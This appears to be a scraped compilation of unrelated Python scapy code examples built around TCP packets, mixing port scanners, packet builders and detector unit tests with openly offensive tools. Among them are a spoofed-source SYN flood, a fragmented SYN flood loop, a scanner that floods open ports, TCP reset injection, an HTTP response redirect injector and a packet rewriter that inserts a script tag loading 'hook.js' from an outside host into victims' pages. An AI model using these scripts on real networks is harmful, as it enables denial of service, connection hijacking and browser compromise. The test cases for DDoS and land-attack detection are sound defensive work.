Exemple #1
0
    def close(self):
        if not self.sock:
            return
        try:
            # fin
            tcp = scapy.TCP(dport=self.dport,
                            sport=self.sport,
                            seq=self.wseq,
                            flags='F')
            r = self.sock.sr1(
                scapy.IP(dst=self.dst) / tcp,
                verbose=self.verbose,
            )
            self.wseq = r[scapy.TCP].ack

            # ack
            tcp = scapy.TCP(
                dport=self.dport,
                sport=self.sport,
                flags='A',
                seq=self.wseq,
                ack=r[scapy.TCP].seq + 1,
            )
            self.sock.send(scapy.IP(dst=self.dst) / tcp)
            self.rseq = r[scapy.TCP].seq
        finally:
            try:
                self.sock.close()
            except:
                pass
            self.sock = None
 def tcpConnectScan(self):
     for port in self.ports:  # Iterates through each port
         self.checkIfTargetOnline()  # Checks if target is online
         # Uses a random port instead of always using same port when transmitting packets
         localSourcePort = random.randint(1, 10000)
         # Sends a singular TCP packet with the SYN Flag to the current port and stores response in variable
         tcpConnectScanResponse = sc.sr1(
             sc.IP(dst=self.targIp) /
             sc.TCP(sport=localSourcePort, dport=port, flags="S"),
             timeout=1,
             verbose=False)
         if tcpConnectScanResponse.haslayer(
                 sc.TCP
         ):  # If a response was received then check it's TCP flags
             flagIndicator = tcpConnectScanResponse[
                 sc.TCP].flags  # TCP flags stored in variable
             if flagIndicator == "SA":  # If SA flag is present, aka SYN-ACK, received then it means port is opened
                 sendReset = sc.sr(sc.IP(dst=self.targIp) /
                                   sc.TCP(sport=80, dport=port, flags="AR"),
                                   timeout=1,
                                   verbose=False)
                 # Dynamically prints new line when an open port is detected, line contains port number and "Open"
                 self.dynamicPrint(port, "Open")
             elif flagIndicator == "RA":  # If RA flag is present, it means that the target is skeptical of conn.
                 continue
Exemple #3
0
def handshake(targetIP, targetPort):

    #scapy.conf.L3socket=scapy.L3RawSocket

    seqNum = random.randint(10000, 20000)
    sport = random.randint(1024, 65535)

    ipLayer = scapy.IP(src=localIP, dst=targetIP)
    tcpLayer1 = scapy.TCP(sport=sport, dport=targetPort, flags='S', seq=seqNum)
    p = scapy.sr1(ipLayer / tcpLayer1)
    print(p.show())

    # Send ACK Packet
    tcpLayer2 = scapy.TCP(sport=sport,
                          dport=targetPort,
                          flags='A',
                          seq=seqNum + 1,
                          ack=p.seq + 1)
    scapy.send(ipLayer / tcpLayer2)

    # Send Payload
    payload = "hello"
    #payload = "GET /\n\n"
    tcpLayer3 = scapy.TCP(sport=sport,
                          dport=targetPort,
                          flags='PA',
                          seq=seqNum + 1,
                          ack=p.seq + 1)
    p = scapy.sr1(ipLayer / tcpLayer3 / payload)
    print(p.show())
Exemple #4
0
def escanearPuertos(host):
    print("\nEscaneando los puertos de la IP:", host)
    try:
        for puerto in listaPuertos:
            puertoOrigen = scapy.RandShort(
            )  #para que el paquete enviado tenga un puerto distinto cada vez
            paquete = scapy.IP(dst=host) / scapy.TCP(
                sport=puertoOrigen, dport=puerto, flags="S")
            respuesta = scapy.sr1(paquete, timeout=2)
            if ("NoneType" in str(type(respuesta))):
                pass
            elif (respuesta.haslayer(scapy.TCP)
                  and respuesta.getlayer(scapy.TCP).flags == 0x12):
                p = scapy.IP(dst=host) / scapy.TCP(
                    sport=puertoOrigen, dport=puerto, flags="R")
                rst = scapy.sr(
                    p, timeout=1
                )  #envío con flag RST activa para cortar la conexión
                try:
                    servicio = scapy.socket.getservbyport(
                        puerto)  # obtiene info del puerto(si es conocido)
                except:
                    servicio = "¿?"
                print("[ABIERTO]", puerto, " -> ", servicio)
                sendPackage(
                    host, puerto, 2000
                )  # si existe un puerto abierto, se envían paquetes para "denegar" el servicio
    except KeyboardInterrupt:
        print("Abortado por usuario")
def scanTCPPort(ip, port_dict, queue):
	while True:

		dst_port = queue.get()
		src_port = scapy.RandShort()
	
		packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port, dport=dst_port, flags="S")
		response = scapy.sr1(packet, verbose=False, timeout=5)

		if response is None:
			port_dict[dst_port]="Closed"
	
		elif(response.haslayer(scapy.TCP)):

			# If the packet returned had the SYN and ACK flags
			if(response.getlayer(scapy.TCP).flags == 0x12):
				# Send TCP packet back to host with ACK and RST flags
				packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port,dport=dst_port,flags=0x14)
				send_rst = scapy.sr(packet, verbose=False, timeout=5)
				port_dict[dst_port]="Open"

			# If the packet returned had the RST and ACK flags
			elif (response.getlayer(scapy.TCP).flags == 0x14):
				port_dict[dst_port]="Closed"
		else:
			port_dict[dst_port]="Closed"

		queue.task_done()
Exemple #6
0
def simple_tcp_packet(pktlen=100,
                      dl_dst='00:01:02:03:04:05',
                      dl_src='00:06:07:08:09:0a',
                      dl_vlan_enable=False,
                      dl_vlan=0,
                      dl_vlan_pcp=0,
                      dl_vlan_cfi=0,
                      ip_src='192.168.0.1',
                      ip_dst='192.168.0.2',
                      ip_tos=0,
                      tcp_sport=1234,
                      tcp_dport=80,
                      ip_ihl=None,
                      ip_options=False):
    """
    Return a simple dataplane TCP packet

    Supports a few parameters:
    @param len Length of packet in bytes w/o CRC
    @param dl_dst Destinatino MAC
    @param dl_src Source MAC
    @param dl_vlan_enable True if the packet is with vlan, False otherwise
    @param dl_vlan VLAN ID
    @param dl_vlan_pcp VLAN priority
    @param ip_src IP source
    @param ip_dst IP destination
    @param ip_tos IP ToS
    @param tcp_dport TCP destination port
    @param ip_sport TCP source port

    Generates a simple TCP request.  Users
    shouldn't assume anything about this packet other than that
    it is a valid ethernet/IP/TCP frame.
    """

    if MINSIZE > pktlen:
        pktlen = MINSIZE

    # Note Dot1Q.id is really CFI
    if (dl_vlan_enable):
        pkt = scapy.Ether(dst=dl_dst, src=dl_src)/ \
            scapy.Dot1Q(prio=dl_vlan_pcp, id=dl_vlan_cfi, vlan=dl_vlan)/ \
            scapy.IP(src=ip_src, dst=ip_dst, tos=ip_tos, ihl=ip_ihl)/ \
            scapy.TCP(sport=tcp_sport, dport=tcp_dport)
    else:
        if not ip_options:
            pkt = scapy.Ether(dst=dl_dst, src=dl_src)/ \
                scapy.IP(src=ip_src, dst=ip_dst, tos=ip_tos, ihl=ip_ihl)/ \
                scapy.TCP(sport=tcp_sport, dport=tcp_dport)
        else:
            pkt = scapy.Ether(dst=dl_dst, src=dl_src)/ \
                scapy.IP(src=ip_src, dst=ip_dst, tos=ip_tos, ihl=ip_ihl, options=ip_options)/ \
                scapy.TCP(sport=tcp_sport, dport=tcp_dport)

    pkt = pkt / ("D" * (pktlen - len(pkt)))

    #print pkt.show()
    #print scapy.Ether(str(pkt)).show()

    return pkt
Exemple #7
0
    def test_classify_ddos(self, mock_time):
        """
        Test classify_ddos.
        """
        # Case 1: Classify as SISP
        mock_time.return_value = 10
        pkt = scapy.IP(src="192.168.0.1") \
              / scapy.TCP(dport=80)
        self.ddos.classify_ddos(pkt)
        l = len(self.ddos.sisp)
        self.assertEqual(l, 1)
        temp_dict = {"count": 1, "ports": [80], "start_time": 10}
        self.assertTrue(self.ddos.sisp.get("192.168.0.1"))
        self.assertEqual(temp_dict, self.ddos.sisp["192.168.0.1"])
        # Check if count increments by 1
        self.ddos.classify_ddos(pkt)
        self.assertEqual(self.ddos.sisp["192.168.0.1"]["count"], 2)

        # Case2: Classify as SIMP
        pkt = scapy.IP(src="192.168.0.1") \
              / scapy.TCP(dport=90)
        self.ddos.classify_ddos(pkt)
        # IP entry should get deleted from SISP dict
        l = len(self.ddos.sisp)
        self.assertEqual(l, 0)

        l2 = len(self.ddos.simp)
        self.assertEqual(l2, 1)
        temp_dict = {"count": 3, "ports": [80, 90], "start_time": 10}
        self.assertTrue(self.ddos.simp.get("192.168.0.1"))
        self.assertEqual(self.ddos.simp["192.168.0.1"], temp_dict)
def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load
        if scapy_packet[scapy.TCP()].dport == 10000:
            print("[+] Request")
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
            print(new_packet.show())

        elif scapy_packet[scapy.TCP()].sport == 10000:
            print("[+] Response")
            #print(scapy_packet.show())
            injection_code = '<script src = "http://10.20.14.213:3000/hook.js"></script>'
            load = load.replace("</body>", injection_code + "</body>")
            content_length_search = re.search("(?:conetent-Length:\s)(\d*)",
                                              load)

            if content_length_search and "text/html" in load:
                content_length = content_length_search.group(0)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, str(new_content_length))

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(str(new_packet))

    packet.accept()
 def tcpStealthScan(self):
     for port in self.ports:  # Iterates through each port
         self.checkIfTargetOnline()  # Checks if target is online
         # Uses a random port instead of always using same port when transmitting packets
         localSourcePort = random.randint(1, 10000)
         # Sends a singular TCP packet with the SYN Flag to the current port and stores response in variable
         tcpStealthScanResponse = sc.sr1(
             sc.IP(dst=self.targIp) /
             sc.TCP(sport=localSourcePort, dport=port, flags="S"),
             timeout=1,
             verbose=False)
         if tcpStealthScanResponse.haslayer(
                 sc.TCP
         ):  # If a response was received then check it's TCP flags
             flagIndicator = tcpStealthScanResponse[
                 sc.TCP].flags  # TCP flags stored in variable
             if flagIndicator == "SA":  # If SA flag is present, aka SYN-ACK, received then it means port is opened
                 sendReset = sc.sr(sc.IP(dst=self.targIp) /
                                   sc.TCP(sport=80, dport=port, flags="AR"),
                                   timeout=1,
                                   verbose=False)
                 self.dynamicPrint(port, "Open")
             elif flagIndicator == "RA":  # If RA flag is present, it means that the target is skeptical of conn.
                 continue
         elif tcpStealthScanResponse.haslayer(
                 scli.ICMP
         ):  # If packet has an ICMP layer, it may mean port's filtered
             # If the packet contains these codes in the ICMP layer that indicate if the port is filtered
             filterList = [1, 2, 3, 9, 10, 13]
             # If the packet type is type 3 AND it contains one of the above codes then it means the port is filtered
             if tcpStealthScanResponse[
                     sc.ICMP].type == 3 and tcpStealthScanResponse[
                         sc.ICMP].code in filterList:
                 self.dynamicPrint(port, "Filtered")
                 continue
    def test_check_tcp_flag(self):
        """
        Test check_tcp_flag.
        """
        pkt = scapy.TCP(flags=None)
        result = self.pf1.check_tcp_flag(pkt)
        self.assertEqual(result, 0)

        pkt = scapy.TCP(flags="S")
        result = self.pf1.check_tcp_flag(pkt)
        self.assertEqual(result, 1)
    def test_check_network_congestion(self):
        """
        Test check_network_congestion.
        """
        pkt = scapy.TCP(flags="EC")
        result = self.pf1.check_network_congestion(pkt)
        self.assertEqual(result, 0)

        pkt = scapy.TCP(flags="S")
        result = self.pf1.check_network_congestion(pkt)
        self.assertEqual(result, 1)
    def test_check_fin_ack(self):
        """
        Test check_fin_ack.
        """
        pkt = scapy.TCP(flags="FA")
        result = self.pf1.check_fin_ack(pkt)
        self.assertEqual(result, 1)

        pkt = scapy.TCP(flags="F")
        result = self.pf1.check_fin_ack(pkt)
        self.assertEqual(result, 0)
    def setUp(self):
        """
        Setup class for SynFlood.
        """
        # Packet with SYN flag
        self.pkt1 = scapy.IP(src="192.168.0.1") \
                    / scapy.TCP(flags="S")

        # Packet with ACK flag (handshake completed)
        self.pkt2 = scapy.IP(src="192.168.0.1") \
                    / scapy.TCP(flags="A")

        # Create SynFlood object
        self.syn_flood = SynFlood()
Exemple #14
0
def get_rstpkt(pkt):
    fake_pkt = None
    if (pkt.ipv4):
        fake_pkt = sp.IP(dst=pkt.src_addr, src=pkt.dst_addr) / sp.TCP(
            dport=pkt.src_port, sport=pkt.dst_port)
    else:
        fake_pkt = sp.IPv6(dst=pkt.src_addr, src=pkt.dst_addr) / sp.TCP(
            dport=pkt.src_port, sport=pkt.dst_port)

    fake_pkt[sp.TCP].flags = 'AR'
    fake_pkt[sp.TCP].ack = pkt.tcp.seq_num + 1
    fake_pkt[sp.TCP].seq = pkt.tcp.ack_num + 1
    fake_pkt[sp.TCP].window = 0
    return fake_pkt
def spoofTCPPacket(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket):
    # SYN
    sport = random.randint(1024, 65535)
    ip = scapy.IP(src=sSrcIP, dst=sTargetIP)
    SYN = scapy.TCP(sport=sport, dport=iDPort, flags='S', seq=1000)
    SYNACK = scapy.sr1(ip / SYN, timeout=iTIMEOUT)
    if SYNACK is None:
        return SYNACK  ## No SYN/ACK back, ARP Spoofing problem or port not open

    # ACK
    ACK = scapy.TCP(sport=sport,
                    dport=iDPort,
                    flags='A',
                    seq=SYNACK.ack,
                    ack=SYNACK.seq + 1)
    scapy.send(ip / ACK)

    # TCP DATA
    scapy.conf.verb = 0
    oIP = scapy.IP(src=sSrcIP, dst=sTargetIP)
    oTCP = scapy.TCP(sport=sport,
                     dport=iDPort,
                     flags='PA',
                     seq=SYNACK.ack,
                     ack=SYNACK.seq + 1)
    oRAW = scapy.Raw(load=dPacket)
    oResp = scapy.sr1(oIP / oTCP / oRAW, timeout=iTIMEOUT)

    # FIN
    FINACK = None
    if not oResp is None:
        FIN = scapy.TCP(sport=sport,
                        dport=iDPort,
                        flags='FA',
                        seq=oResp.ack,
                        ack=oResp.seq + 1)
        FINACK = scapy.sr1(ip / FIN, timeout=iTIMEOUT)
    if not FINACK is None:
        LASTACK = scapy.TCP(sport=sport,
                            dport=iDPort,
                            flags='A',
                            seq=FINACK.ack,
                            ack=FINACK.seq + 1)
        scapy.send(ip / LASTACK)

    # RST
    #RST=scapy.TCP(sport=sport, dport=iDPort, flags='R', seq=SYNACK.ack, ack=SYNACK.seq + 1)
    #scapy.send(ip/RST)
    return oResp
Exemple #16
0
    def setUp(self):
        """
        Setup class for BGP_Abuse.
        """
        # Create scapy packet (valid attack)
        self.pkt = scapy.IP(src="10.0.2.15",
                            dst="200.10.10.1") \
                   / scapy.TCP(dport=53, sport=179, flags="RA", seq=123, ack=456)

        # Create a scapy packet (invalid attack)
        self.pkt2 = scapy.IP(src="10.0.2.15",
                            dst="200.10.10.1") \
                   / scapy.TCP(dport=53, sport=179, seq=123, ack=456)

        # Create BGP Abuse object
        self.bgp_abuse_obj = BGP_Abuse()
def scan(ip, website):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(
        arp_request_broadcast, timeout=1, verbose=False
    )[0]  #only getting element 0 (answered list because this function returns 2 things)

    print('[+] Beginning scan')

    ans, unans = scapy.sr(
        scapy.IP(dst=website) /
        scapy.TCP(sport=666, dport=[80, 440, 441, 442, 443], flags='S'),
        verbose=False,
        timeout=3)
    print('----------------------------------------------------------')
    print('PORT')
    ans.make_table(lambda s, r: (
        s.dst, s.dport,
        r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    print(' ')

    clients_list = []
    for element in answered_list:
        client_dict = {'IP': element[1].psrc, 'MAC': element[1].hwsrc}
        clients_list.append(client_dict)
    return clients_list
Exemple #18
0
    def rst_inject(packet):
        if running:
            if packet.haslayer(scapy.IP):
                p = packet[scapy.IP]
                if packet.haslayer(scapy.TCP):
                    scapy_TCP = packet[scapy.TCP]
                    if scapy_TCP.dport == 80: #paketa nga klienti

                        print("\n[*]  Packet accepted at destionation port:" + str(scapy_TCP.dport))

                        ip_packet = scapy.IP(src=p.dst, dst=p.src, ihl=p.ihl, flags=p.flags,
                                      frag=p.frag, ttl=p.ttl,
                                      proto=p.proto, id=12345)

                        tcp_packet = scapy.TCP(sport=scapy_TCP.dport, dport=scapy_TCP.sport, seq=scapy_TCP.ack,
                                        ack=0, dataofs=scapy_TCP.dataofs,
                                        reserved=scapy_TCP.reserved, flags="R", window=scapy_TCP.window,
                                        options=scapy_TCP.options)

                        reset = ip_packet / tcp_packet

                        scapy.send(reset, verbose=False)
                        print("[+]  RST flag injected")
        else:
            e.set()
Exemple #19
0
def dos_syn(host):
    syn_port = int(input("[#] SYN port: "))
    packets = int(input("[#] Send packets: "))
    i = 0
    while i <= packets:
        s_port = random.randint(2, 5000)
        s_eq = random.randint(2, 5000)
        w_indow = random.randint(2, 5000)

        #Create random source ip
        i1 = str(random.randint(1, 254))
        i2 = str(random.randint(1, 254))
        i3 = str(random.randint(1, 254))
        i4 = str(random.randint(1, 254))
        d = "."
        source_ip = i1 + d + i2 + d + i3 + d + i4  #Set random source IP

        IP_Packet = scapy.IP(src=source_ip, dst=host)

        TCP_Packet = scapy.TCP(sport=s_port,
                               dport=syn_port,
                               flags="S",
                               seq=s_eq,
                               window=w_indow)

        scapy.send(IP_Packet / TCP_Packet, verbose=0)  #Send packets
        print(f"{YELLOW}[!] Send SYN packet " + str(i) + f"{RESET}", end="\r")
        i += 1

    print(f"\n{GREEN}[+] ATTACK DONE...{RESET}")
Exemple #20
0
def get_tcp_injection_packet(packet):
    """
    If the given packet is an attempt to access the course website, create a
    IP+TCP packet that will redirect the user to Facebook by sending them the
    `RESPONSE` from above.
    """
    if q1.packet_filter(packet):
        if packet[S.TCP].load.find('GET'):
            ip = packet.getlayer(S.IP)  #packet[S.IP]
            tcp = packet.getlayer(S.TCP)  #packet[S.TCP]
            # IP layer of the response packet:
            # Warpping the IP packet with a TCP layer and setting
            # source port to match the original source port
            # and destination port to be 80 for HTTP.
            # Also sets the TCP flags to Acknowldeged and Finish (FA).
            # Finally we set the sequence number to be the ack number of the packet
            # and the ack number to be the seq number of the packet + the length of the tcp layer.
            # Appending the load to the packet
            return S.IP(dst=ip.src, src=ip.dst) / S.TCP(
                dport=ip.sport,
                sport=ip.dport,
                flags='FA',
                seq=tcp.ack,
                ack=tcp.seq + len(tcp.payload)) / S.Raw(load=RESPONSE)
    return None
 def _make_tcp_layer(self, port: int):
     return scapy.TCP(sport=port,
                      flags='S',
                      options=[
                          ('Timestamp', (const.TS_INITIAL_VAL, 0)),
                          ('WScale', 0)
                      ])  # /scapy.Raw(load = const.PACKET_RESEARCH_MESSAGE)
Exemple #22
0
 def _send_ack(self):
     ack = self.ip / scapy.TCP(sport=self.src_port,
                               dport=self.dst_port,
                               flags="A",
                               seq=self.seq,
                               ack=self.ack)
     self.s.send(ack)
    def setUp(self):
        """
        Setup class for LandAttack.
        """
        # Create scapy packet (valid attack)
        self.pkt = scapy.IP(src="192.168.0.1",
                            dst="192.168.0.1") \
                   / scapy.TCP(sport=80, dport=80)

        # Create a scapy packet (invalid attack)
        self.pkt2 = scapy.IP(src="192.168.0.1",
                            dst="192.168.0.6") \
                    / scapy.TCP(sport=80, dport=90)

        # Create LandAttack object
        self.land_attack_obj = LandAttack()
Exemple #24
0
    def setup_tx_pipeline(cli, port, spec):
        setup_mclasses(cli, globals())
        SEQNO = 12345
        PORT_HTTP = 80
        eth = scapy.Ether(src=spec.src_mac, dst=spec.dst_mac)
        ip = scapy.IP(src=spec.src_ip, dst=spec.dst_ip)
        tcp = scapy.TCP(sport=spec.src_port, dport=PORT_HTTP, seq=SEQNO)

        payload_prefix = 'GET /pub/WWW/TheProject.html HTTP/1.1\r\nHost: www.'
        payload = payload_prefix + 'aaa.com\r\n\r\n'
        pkt_headers = eth / ip / tcp
        pkt_template = str(eth / ip / tcp / payload)

        num_cores = len(spec.tx_cores)
        flows_per_core = spec.num_flows / num_cores
        if spec.pps is not None:
            pps_per_core = spec.pps / num_cores
        else:
            pps_per_core = 5e6

        return Pipeline([
            FlowGen(template=pkt_template, pps=pps_per_core,
                    flow_rate=flows_per_core, flow_duration=5,
                    arrival='uniform', duration='uniform',
                    quick_rampup=False),
            RandomUpdate(fields=[{'offset': len(pkt_headers)  + len(payload_prefix),
                         'size': 1, 'min': 97, 'max': 122}]),
            RandomUpdate(fields=[{'offset': len(pkt_headers)  + \
                                            len(payload_prefix) + 1,
                                  'size': 1, 'min': 97, 'max': 122}]),
            IPChecksum()
        ])
Exemple #25
0
def synFlooder(src, dst, message):
    for dport in range(1024, 65535):
        IPlayer = scapy.IP(src=src, dst=dst)
        TCPlayer = scapy.TCP(sport=4444, dport=dport)
        RAWlayer = scapy.Raw(load=message)
        packet = IPlayer / TCPlayer / RAWlayer
        scapy.send(packet)
 def flagfuzzer(self, dst, port):
     r = {
         'R': [],  # RST
         'RA': [],  # RST-ACK
         'SA': [],  # SYN-ACK
         '--': [],  # no response
         '??': []  # ICMP error msgs (?)
     }
     scanflags = [
         '', 'F', 'S', 'FS', 'R', 'RF', 'RS', 'RSF', 'A', 'AF', 'AS', 'ASF',
         'AR', 'ARF', 'ARS', 'ARSF'
     ]
     for flagval in scanflags:
         pkt = scapy.IP(dst=dst)
         pkt /= scapy.TCP(dport=port,
                          sport=scapy.RandNum(1024, 65535),
                          flags=flagval)
         x = scapy.sr1(pkt, timeout=.5)
         sys.stderr.write(" %s \r" % flagval)
         sent = pkt.sprintf("%TCP.flags%")
         if sent == '':
             sent = '-'
         if x is not None:
             recvd = x.sprintf("%TCP.flags%")
             #self.r[recvd].append(sent+"."+str(x[scapy.IP].ttl))
             r[recvd].append(sent)
         else:
             r['--'].append(sent)
     log.msg("finished")
     del r['--']
     for k in r.keys():
         log.msg("%4s: %s" % (k, " ".join(r[k])))
    def _syn_scan_thread_helper(self):

        while True:

            time.sleep(1)

            if not self._host_state.is_inspecting():
                continue

            # Build a random list of (ip, port).
            port_list = get_port_list()
            ip_list = self._host_state.ip_mac_dict.keys()
            ip_port_list = list(itertools.product(ip_list, port_list))
            random.shuffle(ip_port_list)

            if len(ip_list) == 0:
                continue

            utils.log('[SYN Scanning] Start scanning {} ports over IPs: {}'.format(
                len(port_list),
                ', '.join(ip_list)
            ))

            for (ip, port) in ip_port_list:

                time.sleep(0.01)

                syn_pkt = sc.IP(dst=ip) / \
                    sc.TCP(dport=port, sport=SYN_SCAN_SOURCE_PORT, flags="S", seq=SYN_SCAN_SEQ_NUM)
                sc.send(syn_pkt, verbose=0)

                with self._lock:
                    if not self._active:
                        return
Exemple #28
0
def scan_port(device_ip, port_to_scan):
    srcport = scapy.RandShort()
    SYNACK_packet = scapy.sr1(scapy.IP(dst=device_ip) / scapy.TCP(sport=srcport, dport=port_to_scan, flags="S"),
                              timeout=.008)  # packet with sync flag

    if SYNACK_packet is None:  # if there are no response
        return False
    pkt_flags = SYNACK_packet.getlayer(scapy.TCP).flags  # get flag

    if pkt_flags == SynAck:
        Rst_packet = scapy.IP(dst=device_ip) / scapy.TCP(sport=srcport, dport=port_to_scan,
                                                         flags="R")  # packet with reset flag
        scapy.send(Rst_packet)
        return True
    else:
        return False
Exemple #29
0
def Syn_fragment():

    clear = os.system('clear')

    print("**************************************")
    print("          SYN FragmentAttack")
    print("**************************************")
    print("Please input your target's IP")
    dst_ip = input("[SYN Fragment]#")
    src_ip = scapy.RandIP()

    #zidong sheng cheng yuan duankou he mudi duankou
    src_port = scapy.RandShort()
    dst_port = scapy.RandShort()
    packet_number = 0

    try:
        while True:
            packet = scapy.IP(src=src_ip, dst=dst_ip, flags=[
                0x2000
            ], frag=1) / scapy.TCP(dport=80, flags="S") / ("X" * 6000)
            #packet = scapy.IP(dst=dst_ip,flags=[0x2000],frag=1)/scapy.TCP(dport=80,flags="F")/("X"*6000)
            scapy.send(packet, verbose=False)
            packet_number += 1
            print("[+]Sent packet is " + str(packet_number))
    except KeyboardInterrupt:
        print("[-]Ctrl + C detected ....")
Exemple #30
0
 def flagfuzzer(self, dst, port):
     r = {
         'R': [],  # RST
         'RA': [],  # RST-ACK
         'SA': [],  # SYN-ACK
         '--': [],  # no response
         '??': []  # ICMP error msgs (maybe... inspect this manually)
     }
     for flagval in self.scanflags:
         pkt = scapy.IP(dst=dst)
         pkt /= scapy.TCP(dport=port,
                          sport=scapy.RandNum(1024, 65535),
                          flags=flagval)
         x = scapy.sr1(pkt, timeout=.5)
         sys.stderr.write(" %s   \r" % flagval)
         sent = pkt.sprintf("%TCP.flags%")
         if sent == '':
             sent = '-'
         if x is not None:
             recvd = x.sprintf("%TCP.flags%")
             #self.r[recvd].append(sent+"."+str(x[scapy.IP].ttl))
             r[recvd].append(sent)
         else:
             r['--'].append(sent)
     self.msg("finished")
     del r['--']
     self.msg("%4s: %s" % ('Recv', 'Sent'))
     for k in r.keys():
         self.msg("%4s: %s" % (k, " ".join(r[k])))